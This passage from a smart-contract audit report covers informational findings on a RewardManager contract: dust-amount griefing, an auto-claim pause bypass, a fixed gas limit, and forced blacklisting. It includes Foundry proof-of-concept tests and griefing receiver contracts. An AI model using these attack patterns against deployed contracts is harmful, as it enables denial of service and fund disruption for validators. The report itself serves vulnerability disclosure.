/// @dev Allows the owner to claim orphaned rewards to appropriate addresses.
function claimOrphanedRewards(bytes[] calldata pubkeys, address toPay) external onlyOwner nonReentrant {
    uint256 totalAmount = 0;
    uint256 len = pubkeys.length;
    for (uint256 i = 0; i < len; ++i) {
        bytes calldata pubkey = pubkeys[i];
        uint256 amount = orphanedRewards[pubkey];
        require(amount > 0, NoOrphanedRewards());
        orphanedRewards[pubkey] = 0;
        totalAmount += amount;
    }
    (bool success, ) = payable(toPay).call{value: totalAmount}("");
    require(success, OrphanedRewardsClaimFailed());
    emit OrphanedRewardsClaimed(toPay, totalAmount);
}
```

However, the current approach is not the most efficient - in order to output all `claimOrphanedRewards` - each individual pubKey must be processed. Processing a pubKey costs gas - so pubKeys for which `OrphanedRewards` are less than the gas fee required to process them are simply not profitable to output. Thus - dead rewards remain on the contract - it is simply not profitable to withdraw them.

Impact explanation: Very small OrphanedRewards are not profitable to take out of the contract - so they just get stuck.

Remediation: Instead of accounting for OrphanedRewards for each individual pubKey - you can introduce a single variable orphanedRewards - which will store the sum of all orphanedRewards on the contract.

3.3.6 Users can grief `OrphanRewards` processing by sending 1 wei to rewards manager

Submitted by 0xMSF14, also found by Hosam, Albahaca, chainsentry and 0x15

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: The `payProposer` function lacks a minimum payment threshold, allowing attackers to bloat the `orphanedRewards` mapping with dust amounts (1 wei payments). This causes owner Griefing which forces the owner to process hundreds of tiny claims from different users. The attack is possible because no `require(msg.value >= MIN_REWARD)` check exists. Each invalid `pubkey` creates a new storage slot in `orphanedRewards`. Processing many small claims becomes economically irrational.

Proof of Concept:

```
function testWeiGriefingAttack() public {
    // Attacker prepares 100 invalid pubkeys
    bytes[] memory garbagePubkeys = new bytes[](100);
    for (uint i = 0; i < 100; i++) {
        garbagePubkeys[i] = abi.encodePacked(bytes32(uint256(i+1))[:48]; // Fake 48-byte keys
    }

    // Flood contract with 1 wei orphaned rewards
    for (uint i = 0; i < 100; i++) {
        vm.prank(attacker);
        rewardManager.payProposer{value: 1 wei}(garbagePubkeys[i]);
        assertEq(rewardManager.orphanedRewards(garbagePubkeys[i]), 1 wei);
    }

    // Owner must now process 100 claims to recover 0.0000000000000001 ETH total
    vm.startPrank(owner);
    uint256 gasBefore = gasleft();
    rewardManager.claimOrphanedRewards(garbagePubkeys, owner);
    uint256 gasUsed = gasBefore - gasleft();

    // Attack succeeds when:
    // (gasCost * tx.gasprice) > (100 wei)
    assertGt(gasUsed * tx.gasprice, 100 wei);
    vm.stopPrank();
}
```

Recommendation: Add a Minimum Payment Threshold.

```
uint256 public constant MIN_REWARD = 0.01 ether;

function payProposer(bytes calldata pubkey) external payable {
    require(msg.value >= MIN_REWARD, "Reward below minimum");
    // ... existing logic ...
}
```

3.3.7 Auto-claim bypasses pause, but manual reward claim is blocked during pause

Submitted by YanecaB, also found by pyk, Zabid27 and BengalCatBalu

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Summary: `claimRewards` is restricted by `whenNotPaused` while `payProposer` is not, causing inconsistent behavior: users can receive auto-claimed rewards even when the contract is paused, but cannot manually claim rewards during pause, creating an unexpected and inconsistent access control gap.

Finding Description: The `payProposer` function intentionally lacks the `whenNotPaused` modifier to allow payments even when the contract is paused, enabling auto-claim to execute and transfer rewards automatically. However, the `claimRewards` function has the `whenNotPaused` modifier, blocking manual reward claims while paused. This inconsistency allows users with auto-claim enabled to bypass the pause and receive rewards immediately, while users without auto-claim are prevented from claiming rewards during pause. This breaks the expected security guarantee of the pause mechanism, which should uniformly halt reward claims to prevent state changes and fund transfers during emergency or maintenance periods. Users can simply front-run the pause by enabling auto-claim before the contract is paused, allowing them to claim rewards despite the pause.

Impact Explanation: This issue has medium impact because it reveals an inconsistency in the code: `payProposer` can bypass pause restrictions via auto-claim, while `claimRewards` cannot. This inconsistency allows users to front-run the pause by enabling auto-claim just before it activates, undermining the contract's intended control.

Likelihood Explanation: This issue is likely to occur because users can easily monitor for upcoming pauses and enable auto-claim immediately beforehand to bypass restrictions. Since enabling auto-claim is a simple on-chain action, front-running the pause is straightforward and low-cost.

Proof of Concept:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract RewardManagerMock {
    mapping(address => bool) public autoClaim;
    mapping(address => uint256) public unclaimedRewards;
    bool public paused;

    event AutoClaimEnabled(address indexed user);
    event RewardsClaimed(address indexed user, uint256 amount);

    modifier whenNotPaused() {
        require(!paused, "Paused");
        _;
    }

    function pause() external {
        paused = true;
    }

    function unpause() external {
        paused = false;
    }

    function enableAutoClaim() external {
        autoClaim[msg.sender] = true;
        emit AutoClaimEnabled(msg.sender);
    }

    // Simulates payProposer which can pay even when paused and auto-claims immediately if enabled
```

```
    function payProposer(address receiver) external payable {
        if (autoClaim[receiver]) {
            // auto claim even if paused
            payable(receiver).transfer(msg.value);
            emit RewardsClaimed(receiver, msg.value);
        } else {
            unclaimedRewards[receiver] += msg.value;
        }
    }

    // Claim rewards manually, only works when not paused
    function claimRewards() external whenNotPaused {
        uint256 amount = unclaimedRewards[msg.sender];
        require(amount > 0, "No rewards");
        unclaimedRewards[msg.sender] = 0;
        payable(msg.sender).transfer(amount);
        emit RewardsClaimed(msg.sender, amount);
    }

    receive() external payable {}
}
```

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "forge-std/Test.sol";
import "./RewardManagerMock.sol";

contract RewardManagerTest is Test {
    RewardManagerMock rewardManager;
    address user = address(0x123);

    function setUp() public {
        rewardManager = new RewardManagerMock();
        vm.deal(user, 10 ether);
    }

    function testAutoClaimBypassPause() public {
        // User enables autoClaim before pause
        vm.prank(user);
        rewardManager.enableAutoClaim();

        // Contract is paused
        rewardManager.pause();

        // Pay proposer with autoClaim enabled - should transfer immediately despite pause
        vm.deal(address(this), 1 ether);
        rewardManager.payProposer{value: 1 ether}(user);

        // User balance should increase
        uint256 balanceAfter = user.balance;
        assert(balanceAfter == 1 ether);

        // User disables autoClaim, tries to claimRewards (should revert due to pause)
        // Note: disabling autoClaim here simulated by direct storage write since no disable function in mock
        vm.prank(user);
        rewardManager.autoClaim(user); // reading autoClaim, no setter in mock, can simulate differently if
        ↪  needed

        vm.prank(user);
        vm.expectRevert("Paused");
        rewardManager.claimRewards();
    }
}
```

Recommendation: Remove the `whenNotPaused` modifier from `claimRewards` to ensure consistent behavior with `payProposer`, allowing users to claim rewards regardless of pause state or add a pause check in `payProposer` to prevent auto-claims when the contract is paused.

3.3.8 Fixed Gas Limit for Auto-Claim Causes Denial-of-Service Risk and Griefing Potential

Submitted by Kwesi

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Summary: The protocol's `autoClaimGasLimit` is hardcoded and not adaptable to varying receiver types, creating a gas-related denial-of-service (DoS) risk. This misconfiguration can either prevent valid users from receiving funds or enable malicious receivers to grief the system.

Finding Description: The contract's auto-claim mechanism attempts to forward ETH using a gas-limited `call`:

```
(bool success, ) = payable(toPay).call{value: msg.value, gas: autoClaimGasLimit}("");
```

This line governs whether rewards can be auto-forwarded to a recipient (`toPay`). However, the `autoClaimGasLimit` is fixed globally and does not account for variability in fallback function gas usage. Two major failure modes exist:

1. Too Low: Legitimate recipients (e.g., smart contracts with moderately complex fallback functions) will fail to receive funds and be blacklisted.
2. Too High: Malicious contracts with expensive or reverting fallbacks can waste gas or create systemic griefing conditions.

These failures prevent auto-claim from functioning reliably, especially in diverse environments where recipients may be EOAs or contracts.

Impact Explanation: This bug affects the availability of the protocol's auto-claim system:

- Valid contracts with fallback functions that exceed the fixed limit will be unfairly blacklisted.
- Malicious recipients can grief the system if gas limits are raised too high, e.g., by reverting with high gas usage.
- The protocol's core distribution mechanism becomes brittle and susceptible to denial-of-service attacks or unintentional configuration errors.

This directly impacts reward delivery reliability and user trust.

Likelihood Explanation: The likelihood is medium:

- Many smart contracts today include non-trivial fallback logic.
- Gas costs vary between EVM upgrades and block contexts.
- Misconfiguration of a hardcoded global gas limit is a common operational mistake.
- A malicious receiver contract designed to exploit this is easy to deploy and cannot be prevented pre-deployment.

Thus, real-world failures — whether accidental or adversarial — are likely over time.

Proof of Concept:

```
/// @notice Test demonstrating gas limit DoS vulnerability
/// The hardcoded autoClaimGasLimit creates unfair penalties for legitimate high-gas receivers
function test_AutoClaimGasLimit_DoSVulnerability() public {
    address legitimateValidator = address(0x6666);
    address expensiveReceiver = address(new ExpensiveReceiver());

    // Mock validator setup
    vm.mockCall(
        address(vanillaRegistry),
        abi.encodeWithSignature("getValidatorByPubkey(bytes)", orphanedPubkey1),
        abi.encode(legitimateValidator)
    );
    vm.mockCall(
        address(mevCommitAVS),
        abi.encodeWithSignature("isValidatorOptedIn(bytes)", orphanedPubkey1),
        abi.encode(true)
    );

    // Validator enables auto-claim and sets override to a contract that needs more gas
    vm.startPrank(legitimateValidator);
    rewardManager.enableAutoClaim();
    rewardManager.setOverrideAddress(expensiveReceiver);
    vm.stopPrank();
```

```
    uint256 rewardAmount = 1 ether;

    // Payment will fail due to gas limit, not because receiver is malicious
    vm.prank(provider);
    vm.expectEmit(true, true, true, false);
    emit AutoClaimTransferFailed(provider, legitimateValidator, expensiveReceiver);
    rewardManager.payProposer{value: rewardAmount}(orphanedPubkey1);

    // VULNERABILITY: Legitimate receiver punished for needing more gas
    assertTrue(rewardManager.autoClaimBlacklist(legitimateValidator), "Legitimate validator blacklisted due to
    ↪  gas limit");
    assertFalse(rewardManager.autoClaim(legitimateValidator), "Auto-claim disabled unfairly");

    // Funds are stored but validator is permanently penalized
    assertEq(rewardManager.unclaimedRewards(expensiveReceiver), rewardAmount);
    assertEq(expensiveReceiver.balance, 0, "No funds transferred due to gas limit");

    // Show the unfairness: receiver WOULD accept funds if given enough gas
    // Manual transfer with sufficient gas works fine
    vm.deal(address(this), rewardAmount);
    (bool success,) = expensiveReceiver.call{value: rewardAmount, gas: 100000}("");
    assertTrue(success, "Receiver accepts funds when given sufficient gas");
    assertEq(expensiveReceiver.balance, rewardAmount, "Receiver successfully received funds with more gas");
}

/// @notice Test showing malicious griefing through gas consumption
function test_AutoClaimGasLimit_MaliciousGriefing() public {
    address validator1 = address(0x7777);
    address validator2 = address(0x8888);
    address griefingContract = address(new GriefingReceiver());

    // Setup two validators
    vm.mockCall(
        address(vanillaRegistry),
        abi.encodeWithSignature("getValidatorByPubkey(bytes)", orphanedPubkey1),
        abi.encode(validator1)
    );
    vm.mockCall(
        address(vanillaRegistry),
        abi.encodeWithSignature("getValidatorByPubkey(bytes)", orphanedPubkey2),
        abi.encode(validator2)
    );
    vm.mockCall(
        address(mevCommitAVS),
        abi.encodeWithSignature("isValidatorOptedIn(bytes)", orphanedPubkey1),
        abi.encode(true)
    );
    vm.mockCall(
        address(mevCommitAVS),
        abi.encodeWithSignature("isValidatorOptedIn(bytes)", orphanedPubkey2),
        abi.encode(true)
    );

    // Validators set override to griefing contract (maybe they were tricked)
    vm.prank(validator1);
    rewardManager.enableAutoClaim();
    vm.prank(validator1);
    rewardManager.setOverrideAddress(griefingContract);

    vm.prank(validator2);
    rewardManager.enableAutoClaim();
    vm.prank(validator2);
    rewardManager.setOverrideAddress(griefingContract);

    // Payments fail due to intentional gas consumption
    vm.startPrank(provider);
    rewardManager.payProposer{value: 1 ether}(orphanedPubkey1);
    rewardManager.payProposer{value: 2 ether}(orphanedPubkey2);
    vm.stopPrank();

    // Both validators are blacklisted due to griefing contract
    assertTrue(rewardManager.autoClaimBlacklist(validator1), "Validator1 griefed into blacklist");
    assertTrue(rewardManager.autoClaimBlacklist(validator2), "Validator2 griefed into blacklist");

    // Griefing contract accumulates all the funds
    assertEq(rewardManager.unclaimedRewards(griefingContract), 3 ether);
```

```
    // The griefing contract can claim funds normally (not through auto-claim)
    vm.prank(griefingContract);
    rewardManager.claimRewards();
    assertEq(griefingContract.balance, 3 ether, "Griefing contract successfully claimed all funds");
}

/// @notice Test showing the rigidity of hardcoded gas limit
function test_AutoClaimGasLimit_InflexibleLimit() public {
    address validator = address(0x9999);
    address moderateGasReceiver = address(new ModerateGasReceiver());

    // Mock setup
    vm.mockCall(
        address(vanillaRegistry),
        abi.encodeWithSignature("getValidatorByPubkey(bytes)", orphanedPubkey1),
        abi.encode(validator)
    );
    vm.mockCall(
        address(mevCommitAVS),
        abi.encodeWithSignature("isValidatorOptedIn(bytes)", orphanedPubkey1),
        abi.encode(true)
    );

    vm.startPrank(validator);
    rewardManager.enableAutoClaim();
    rewardManager.setOverrideAddress(moderateGasReceiver);
    vm.stopPrank();

    // The receiver needs just slightly more gas than the hardcoded limit
    // This is a legitimate use case but gets penalized
    vm.prank(provider);
    rewardManager.payProposer{value: 1 ether}(orphanedPubkey1);

    // Check if auto-claim failed due to gas limit
    // (This depends on whether ModerateGasReceiver uses > 50000 gas)
    bool shouldHaveFailed = true; // Assuming it needs > 50k gas

    if (shouldHaveFailed) {
        assertTrue(rewardManager.autoClaimBlacklist(validator), "Validator blacklisted for moderate gas usage");
        assertEq(rewardManager.unclaimedRewards(moderateGasReceiver), 1 ether, "Funds stored due to gas limit");
    }

    // PROBLEM: No way to adjust gas limit per receiver or globally
    // Protocol cannot adapt to:
    // 1. Different receiver types (EOA vs contract)
    // 2. Changing gas costs over time
    // 3. Different complexity requirements
    // 4. Network gas price fluctuations
}

/// @notice Test demonstrating the lack of gas limit configurability
function test_AutoClaimGasLimit_NotConfigurable() public {
    // Current gas limit is hardcoded at deployment (50000 in setUp)
    // There should be a way to update it, but there isn't

    // Owner cannot adjust gas limit for network conditions
    vm.startPrank(owner);

    // This function doesn't exist - showing the problem
    // vm.expectRevert(); // Function doesn't exist
    // rewardManager.setAutoClaimGasLimit(100000);

    vm.stopPrank();

    // Individual validators cannot set their preferred gas limit
    address validator = address(0xaaaa);
    vm.startPrank(validator);

    // This function doesn't exist either
    // vm.expectRevert(); // Function doesn't exist
    // rewardManager.setPersonalGasLimit(75000);

    vm.stopPrank();

    // The protocol is stuck with the initial gas limit forever
```

```
    // This is problematic because:
    // 1. Gas costs change over time
    // 2. Different receivers have different needs
    // 3. Network conditions vary
    // 4. New contract patterns may require more gas
}

/// @notice Helper contract that always reverts to simulate problematic payment targets
contract RevertingContract {
    receive() external payable {
        revert("Malicious contract revert");
    }

    fallback() external payable {
        revert("Malicious contract revert");
    }
}

/// @notice Contract that requires more gas than the default limit (50k)
contract ExpensiveReceiver {
    uint256[] public data;

    receive() external payable {
        // Consume gas by writing to storage multiple times
        // This will use more than 50k gas
        for (uint256 i = 0; i < 10; i++) {
            data.push(block.timestamp + i);
        }
    }
}

/// @notice Contract that intentionally consumes gas to grief validators
contract GriefingReceiver {
    receive() external payable {
        // Intentionally consume gas close to but not exceeding the limit
        // This causes auto-claim to fail while appearing "legitimate"
        uint256 gasToConsume = gasleft() - 1000; // Leave minimal gas
        uint256 startGas = gasleft();

        while (startGas - gasleft() < gasToConsume && gasleft() > 5000) {
            // Burn gas without reverting
            assembly {
                let x := add(1, 1)
            }
        }
    }
}

/// @notice Contract that uses moderate amount of gas (just over 50k limit)
contract ModerateGasReceiver {
    mapping(uint256 => uint256) public records;

    receive() external payable {
        // Moderate gas usage that's legitimate but exceeds hardcoded limit
        for (uint256 i = 0; i < 5; i++) {
            records[block.timestamp + i] = msg.value + i;
        }
    }
}
```

Recommendation: To mitigate this issue:

1. Emit the failure amount and reason (already recommended in another finding).
2. Allow per-address gas override, e.g.:

   ```
   mapping(address => uint256) public customGasLimits;
   ```

3. Add a safety threshold or configurable buffer to the hardcoded gas limit.
4. Optionally: fallback to storing the reward if `call` fails, instead of blacklisting immediately.

Improved version of the auto-claim logic:

```
uint256 gasLimit = customGasLimits[toPay] > 0
    ? customGasLimits[toPay]
    : autoClaimGasLimit;

(bool success, ) = payable(toPay).call{value: msg.value, gas: gasLimit}("");

if (!success) {
    unclaimedRewards[toPay] += msg.value;
    emit AutoClaimTransferFailed(pubkey, receiver, toPay, msg.value);
    return;
}
```

This would make the protocol more flexible and resilient in real-world conditions.

3.3.9 Attacker can call `payProposer()` with 1 wei with a failed transaction, setting `autoClaimBlacklist` to `true` during a pause

Submitted by Shubham

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Summary: In case the call to send eth fails when calling `payProposer()`, it disables the `autoClaim` & `autoClaimBlacklist` parameter. The user can enable the `autoClaim` by calling the `enableAutoClaim()` whereas the `autoClaimBlacklist` can only be called the contract's owner. Since the `payProposer()` does not have a `whenNotPaused` modifier, this creates trouble for a user during a paused scenario who has enabled `autoClaim`.

Finding Description:

```
// File: RewardManager.sol
function payProposer(bytes calldata pubkey) external payable onlyValidBLSPubKey(pubkey) nonReentrant { //
↪  Intentionally don't allow pausing.
    require(msg.value != 0, NoEthPayable());
    // ...
    if (autoClaim[receiver] && !autoClaimBlacklist[receiver]) {
        (bool success, ) = payable(toPay).call{value: msg.value, gas: autoClaimGasLimit}("");
        if (!success) { // <<<
            autoClaim[receiver] = false; // <<<
            autoClaimBlacklist[receiver] = true; // <<<
            unclaimedRewards[toPay] += msg.value;
            emit AutoClaimTransferFailed(msg.sender, receiver, toPay);
            return;
        }
        // ...
```

Scenario:

- Alice is a user who has `autoClaim` enabled. (`autoClaimBlacklist` is `false` by default).
- Due to some scenario, the owner pauses the contract.
- An attacker calls the `payProposer()` with Alice's pubkey with dust amount. The call intentionally fails when sending money to the receiver/toPay address.
- This sets the `autoClaim` to `false` & `autoClaimBlacklist` to `true`.

  ```
  if (!success) {
      autoClaim[receiver] = false;
      autoClaimBlacklist[receiver] = true;
      // ...
  ```

- Even if Alice manages to set `autoClaimBlacklist` back to `false` by contacting the owner, she still won't be able to set `autoClaim` back to `true` because of the `whenNotPaused` modifier on the `enableAutoClaim()` during a pause.

```
// File: RewardManager.sol

function enableAutoClaim(bool claimExistingRewards) external whenNotPaused nonReentrant {   /// @note -
↪  modifier
    if (claimExistingRewards) { _claimRewards(); }
    autoClaim[msg.sender] = true;
    emit AutoClaimEnabled(msg.sender);
}
```

Proof of Concept: Paste the below code in the `RewardManagerTest.sol` & run the command `forge clean && forge test --match-test testAliceAutoClaimBlockedWhenPaused --via-ir`.

```
// File: RewardManagerTest.sol
function testAliceAutoClaimBlockedWhenPaused() public {
    // 1. Alice sets up a receiver that reverts on receive
    CanRevert aliceReceiver = new CanRevert();
    bytes memory sampleValPubkeyAlice = sampleValPubkey4;

    // Fund and register Alice's validator
    vm.deal(address(aliceReceiver), 10 ether);
    bytes[] memory validators = new bytes[](1);
    validators[0] = sampleValPubkeyAlice;

    vm.startPrank(address(aliceReceiver));
    vanillaRegistryTest.validatorRegistry().stake{value: 10 ether}(validators);
    vm.stopPrank();

    // Alice enables autoClaim
    vm.expectEmit();
    emit AutoClaimEnabled(address(aliceReceiver));
    vm.prank(address(aliceReceiver));
    rewardManager.enableAutoClaim(false);

    assertTrue(rewardManager.autoClaim(address(aliceReceiver)));
    assertFalse(rewardManager.autoClaimBlacklist(address(aliceReceiver)));

    // 2. Owner pauses the contract
    vm.prank(owner);
    rewardManager.pause();

    assertTrue(rewardManager.paused());

    // 3. Attacker sends ETH to Alice's validator to trigger autoClaim failure
    vm.deal(user4, 1 wei);
    vm.expectEmit();
    emit AutoClaimTransferFailed(user4, address(aliceReceiver), address(aliceReceiver));
    vm.prank(user4);
    rewardManager.payProposer{value: 1 wei}(sampleValPubkeyAlice);
    assertEq(rewardManager.unclaimedRewards(address(aliceReceiver)), 1 wei);

    // 4. Alice is now blacklisted and autoClaim is disabled
    assertTrue(rewardManager.autoClaimBlacklist(address(aliceReceiver)));
    assertFalse(rewardManager.autoClaim(address(aliceReceiver)));

    // 5. Owner removes Alice from the blacklist
    vm.expectEmit();
    emit RemovedFromAutoClaimBlacklist(address(aliceReceiver));
    vm.prank(owner);
    rewardManager.removeFromAutoClaimBlacklist(address(aliceReceiver));

    assertFalse(rewardManager.autoClaimBlacklist(address(aliceReceiver)));

    // 6. Alice tries to re-enable autoClaim - should fail due to pause
    vm.prank(address(aliceReceiver));
    vm.expectRevert(PausableUpgradeable.EnforcedPause.selector);
    rewardManager.enableAutoClaim(false);

    assertFalse(rewardManager.autoClaim(address(aliceReceiver)));
    }
```

Impact Explanation: Attacker can prevent users from auto claiming during a pause scenario. The users cannot enable the `autoClaim` until the owner unpauses the contract.

Recommendation: Modify the `enableAutoClaim()` & `disableAutoClaim()` to allow the owner

to enable/disable auto claiming during a pause. In an unpaused scenario, the user can simply enable/disable as per their wish like it currently is.